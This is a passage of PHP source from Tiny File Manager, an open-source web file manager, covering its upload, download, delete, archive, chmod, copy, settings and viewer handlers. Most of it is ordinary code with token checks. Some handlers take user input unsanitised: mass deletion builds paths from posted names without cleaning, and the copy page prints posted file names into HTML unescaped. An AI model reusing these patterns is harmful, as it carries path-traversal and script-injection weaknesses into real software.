        fm_set_msg(lng('Invalid characters in file name'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Download
if (isset($_GET['dl'], $_POST['token'])) {
    // Verify the token to ensure it's valid
    if (!verifyToken($_POST['token'])) {
        fm_set_msg("Invalid Token.", 'error');
        exit;
    }

    // Clean the download file path
    $dl = urldecode($_GET['dl']);
    $dl = fm_clean_path($dl);
    $dl = str_replace('/', '', $dl); // Prevent directory traversal attacks

    // Define the file path
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    // Check if the file exists and is valid
    if ($dl != '' && is_file($path . '/' . $dl)) {
        // Close the session to prevent session locking
        if (session_status() === PHP_SESSION_ACTIVE) {
            session_write_close();
        }

        // Call the download function
        fm_download_file($path . '/' . $dl, $dl, 1024); // Download with a buffer size of 1024 bytes
        exit;
    } else {
        // Handle the case where the file is not found
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
}

// Upload
if (!empty($_FILES) && !FM_READONLY) {
    if (isset($_POST['token'])) {
        if (!verifyToken($_POST['token'])) {
            $response = array('status' => 'error', 'info' => "Invalid Token.");
            echo json_encode($response);
            exit();
        }
    } else {
        $response = array('status' => 'error', 'info' => "Token Missing.");
        echo json_encode($response);
        exit();
    }

    $chunkIndex = $_POST['dzchunkindex'];
    $chunkTotal = $_POST['dztotalchunkcount'];
    $fullPathInput = fm_clean_path($_REQUEST['fullpath']);

    $f = $_FILES;
    $path = FM_ROOT_PATH;
    $ds = DIRECTORY_SEPARATOR;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $uploads = 0;
    $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
    $response = array(
        'status' => 'error',
        'info'   => 'Oops! Try again'
    );

    $filename = $f['file']['name'];
    $tmp_name = $f['file']['tmp_name'];
    $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    if (!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) {
        $response = array(
            'status'    => 'error',
            'info'      => "Invalid File name!",
        );
        echo json_encode($response);
        exit();
    }

    $targetPath = $path . $ds;
    if (is_writable($targetPath)) {
        $fullPath = $path . '/' . $fullPathInput;
        $folder = substr($fullPath, 0, strrpos($fullPath, "/"));

        if (!is_dir($folder)) {
            $old = umask(0);
            mkdir($folder, 0777, true);
            umask($old);
        }

        if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) {
            if ($chunkTotal) {
                $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
                if ($out) {
                    $in = @fopen($tmp_name, "rb");
                    if ($in) {
                        if (PHP_VERSION_ID < 80009) {
                            // workaround https://bugs.php.net/bug.php?id=81145
                            do {
                                for (;;) {
                                    $buff = fread($in, 4096);
                                    if ($buff === false || $buff === '') {
                                        break;
                                    }
                                    fwrite($out, $buff);
                                }
                            } while (!feof($in));
                        } else {
                            stream_copy_to_stream($in, $out);
                        }
                        $response = array(
                            'status'    => 'success',
                            'info' => "file upload successful"
                        );
                    } else {
                        $response = array(
                            'status'    => 'error',
                            'info' => "failed to open output stream",
                            'errorDetails' => error_get_last()
                        );
                    }
                    @fclose($in);
                    @fclose($out);
                    @unlink($tmp_name);

                    $response = array(
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array(
                        'status'    => 'error',
                        'info' => "failed to open output stream"
                    );
                }

                if ($chunkIndex == $chunkTotal - 1) {
                    if (file_exists($fullPath)) {
                        $ext_1 = $ext ? '.' . $ext : '';
                        $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) . '_' . date('ymdHis') . $ext_1;
                    } else {
                        $fullPathTarget = $fullPath;
                    }
                    rename("{$fullPath}.part", $fullPathTarget);
                }
            } else if (move_uploaded_file($tmp_name, $fullPath)) {
                // Be sure that the file has been uploaded
                if (file_exists($fullPath)) {
                    $response = array(
                        'status'    => 'success',
                        'info' => "file upload successful"
                    );
                } else {
                    $response = array(
                        'status' => 'error',
                        'info'   => 'Couldn\'t upload the requested file.'
                    );
                }
            } else {
                $response = array(
                    'status'    => 'error',
                    'info'      => "Error while uploading files. Uploaded files $uploads",
                );
            }
        }
    } else {
        $response = array(
            'status' => 'error',
            'info'   => 'The specified folder for upload isn\'t writeable.'
        );
    }
    // Return the response
    echo json_encode($response);
    exit();
}

// Mass deleting
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg(lng('Selected files and folder deleted'));
        } else {
            fm_set_msg(lng('Error while deleting items'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Pack files zip, tar
if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';

    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $files = $_POST['file'];
    $sanitized_files = array();

    // clean path
    foreach ($files as $file) {
        array_push($sanitized_files, fm_clean_path($file));
    }

    $files = $sanitized_files;

    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.' . $ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.' . $ext;
        }

        if ($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

        if ($res) {
            fm_set_msg(sprintf(lng('Archive') . ' <b>%s</b> ' . lng('Created'), fm_enc($zipname)));
        } else {
            fm_set_msg(lng('Archive not created'), 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $unzip = urldecode($_POST['unzip']);
    $unzip = fm_clean_path($unzip);
    $unzip = str_replace('/', '', $unzip);
    $isValid = false;

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    if ($unzip != '' && is_file($path . '/' . $unzip)) {
        $zip_path = $path . '/' . $unzip;
        $ext = pathinfo($zip_path, PATHINFO_EXTENSION);
        $isValid = true;
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }

    if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) {
        fm_set_msg(lng('Operations with archives are not available'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    if ($isValid) {
        //to folder
        $tofolder = '';
        if (isset($_POST['tofolder'])) {
            $tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
            if (fm_mkdir($path . '/' . $tofolder, true)) {
                $path .= '/' . $tofolder;
            }
        }

        if ($ext == "zip") {
            $zipper = new FM_Zipper();
            $res = $zipper->unzip($zip_path, $path);
        } elseif ($ext == "tar") {
            try {
                $gzipper = new PharData($zip_path);
                if (@$gzipper->extractTo($path, null, true)) {
                    $res = true;
                } else {
                    $res = false;
                }
            } catch (Exception $e) {
                //TODO:: need to handle the error
                $res = true;
            }
        }

        if ($res) {
            fm_set_msg(lng('Archive unpacked'));
        } else {
            fm_set_msg(lng('Archive not unpacked'), 'error');
        }
    } else {
        fm_set_msg(lng('File not found'), 'error');
    }
    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Change Perms (not for Windows)
if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) {

    if (!verifyToken($_POST['token'])) {
        fm_set_msg(lng("Invalid Token."), 'error');
    }

    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }

    $file = $_POST['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $mode = 0;
    if (!empty($_POST['ur'])) {
        $mode |= 0400;
    }
    if (!empty($_POST['uw'])) {
        $mode |= 0200;
    }
    if (!empty($_POST['ux'])) {
        $mode |= 0100;
    }
    if (!empty($_POST['gr'])) {
        $mode |= 0040;
    }
    if (!empty($_POST['gw'])) {
        $mode |= 0020;
    }
    if (!empty($_POST['gx'])) {
        $mode |= 0010;
    }
    if (!empty($_POST['or'])) {
        $mode |= 0004;
    }
    if (!empty($_POST['ow'])) {
        $mode |= 0002;
    }
    if (!empty($_POST['ox'])) {
        $mode |= 0001;
    }

    if (@chmod($path . '/' . $file, $mode)) {
        fm_set_msg(lng('Permissions changed'));
    } else {
        fm_set_msg(lng('Permissions not changed'), 'error');
    }

    $FM_PATH = FM_PATH;
    fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

/*************************** ACTIONS ***************************/

// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
    $path .= '/' . FM_PATH;
}

// check path
if (!is_dir($path)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get parent folder
$parent = fm_get_parent_path(FM_PATH);

$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/", $path), -1)[0];
if (is_array($objects) && fm_is_exclude_items($current_path, $path)) {
    foreach ($objects as $file) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') {
            continue;
        }
        $new_path = $path . '/' . $file;
        if (@is_file($new_path) && fm_is_exclude_items($file, $new_path)) {
            $files[] = $file;
        } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file, $new_path)) {
            $folders[] = $file;
        }
    }
}

if (!empty($files)) {
    natcasesort($files);
}
if (!empty($folders)) {
    natcasesort($folders);
}

// upload form
if (isset($_GET['upload']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    //get the allowed file extensions
    function getUploadExt()
    {
        $extArr = explode(',', FM_UPLOAD_EXTENSION);
        if (FM_UPLOAD_EXTENSION && $extArr) {
            array_walk($extArr, function (&$x) {
                $x = ".$x";
            });
            return implode(',', $extArr);
        }
        return '';
    }
    ?>
    <?php print_external('css-dropzone'); ?>
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper" data-bs-theme="<?php echo FM_THEME; ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
                    <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a>
                    <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?>
                </p>

                <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <div class="fallback">
                        <input name="file" type="file" multiple />
                    </div>
                </form>

                <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
                    <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
                        <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
                        <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
                        <div class="lds-facebook">
                            <div></div>
                            <div></div>
                            <div></div>
                        </div>
                    </form>
                    <div id="js-url-upload__list" class="col-9 mt-3"></div>
                </div>
            </div>
        </div>
    </div>
    <?php print_external('js-dropzone'); ?>
    <script>
        Dropzone.options.fileUploader = {
            chunking: true,
            chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
            forceChunking: true,
            retryChunks: true,
            retryChunksLimit: 3,
            parallelUploads: 1,
            parallelChunkUploads: false,
            timeout: 120000,
            maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
            acceptedFiles: "<?php echo getUploadExt() ?>",
            init: function() {
                this.on("sending", function(file, xhr, formData) {
                    let _path = (file.fullPath) ? file.fullPath : file.name;
                    document.getElementById("fullpath").value = _path;
                    xhr.ontimeout = (function() {
                        toast('Error: Server Timeout');
                    });
                }).on("success", function(res) {
                    try {
                        let _response = JSON.parse(res.xhr.response);

                        if (_response.status == "error") {
                            toast(_response.info);
                        }
                    } catch (e) {
                        toast("Error: Invalid JSON response");
                    }
                }).on("error", function(file, response) {
                    toast(response);
                });
            }
        }
    </script>
<?php
    fm_show_footer();
    exit;
}

// copy form POST
if (isset($_POST['copy']) && !FM_READONLY) {
    $copy_files = isset($_POST['file']) ? $_POST['file'] : null;
    if (!is_array($copy_files) || empty($copy_files)) {
        fm_set_msg(lng('Nothing selected'), 'alert');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
?>
    <div class="path">
        <div class="card" data-bs-theme="<?php echo FM_THEME; ?>">
            <div class="card-header">
                <h6><?php echo lng('Copying') ?></h6>
            </div>
            <div class="card-body">
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="finish" value="1">
                    <?php
                    foreach ($copy_files as $cf) {
                        echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL;
                    }
                    ?>
                    <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
                    <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
                        <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
                        <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>">
                    </p>
                    <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input">
                        <label for="js-move-files" class="custom-control-label ms-2"><?php echo lng('Move') ?></label>
                    </p>
                    <p>
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// copy form
if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
            ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
            <?php
            }
            foreach ($folders as $f) {
            ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a>
                </li>
            <?php
            }
            ?>
        </ul>
    </div>
<?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) && !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel') ?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l)
                                {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' " . getSelected($k) . ">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                                <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100 text-capitalize" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if ($theme == "light") {
                                                            echo "selected";
                                                        } ?>>
                                    <?php echo lng('light') ?>
                                </option>
                                <option value='dark' <?php if ($theme == "dark") {
                                                            echo "selected";
                                                        } ?>>
                                    <?php echo lng('dark') ?>
                                </option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                    <small class="text-body-secondary">* <?php echo lng('Sometimes the save action may not work on the first try, so please attempt it again') ?>.</span>
                </form>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2" data-bs-theme="<?php echo FM_THEME; ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel') ?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p>
                        <h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3>
                        </p>
                        <p>Author: PRAŚATH MANİ</p>
                        <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers [at] gmail [dot] com</a> </p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if (!FM_READONLY) { ?>
                                    <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
<?php
    fm_show_footer();
    exit;
}

// file viewer
if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file, $path . '/' . $file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if ($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())) {
        $is_onlineViewer = true;
    } elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

?>
    <div class="row">
        <div class="col-12">
            <ul class="list-group w-50 my-3" data-bs-theme="<?php echo FM_THEME; ?>">
                <li class="list-group-item active" aria-current="true"><strong><?php echo lng($view_title) ?>:</strong> <?php echo fm_enc(fm_convert_win($file)) ?></li>
                <?php $display_path = fm_get_display_path($file_path); ?>
                <li class="list-group-item"><strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?></li>
                <li class="list-group-item"><strong><?php echo lng('Date Modified') ?>:</strong> <?php echo date(FM_DATETIME_FORMAT, filemtime($file_path)); ?></li>
                <li class="list-group-item"><strong><?php echo lng('File size') ?>:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?></li>
                <li class="list-group-item"><strong><?php echo lng('MIME-type') ?>:</strong> <?php echo $mime_type ?></li>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) && $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                ?>
                    <li class="list-group-item"><?php echo lng('Files in archive') ?>: <?php echo $total_files ?></li>
                    <li class="list-group-item"><?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?></li>
                    <li class="list-group-item"> <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?></li>
                    <li class="list-group-item"><?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%</li>
                <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<li class="list-group-item"><strong>' . lng('Image size') . ':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '</li>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<li class="list-group-item"><strong>' . lng('Charset') . ':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '</li>';
                }
                ?>
            </ul>
            <div class="btn-group btn-group-sm flex-wrap" role="group">
                <form method="post" class="d-inline mb-0 btn btn-outline-primary" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link btn-sm text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <?php if (!FM_READONLY): ?>
                    <a class="fw-bold btn btn-outline-primary" title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($file) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete') . ' ' . lng('File'); ?>','<?php echo urlencode($file); ?>', this.href);"> <i class="fa fa-trash"></i> Delete</a>
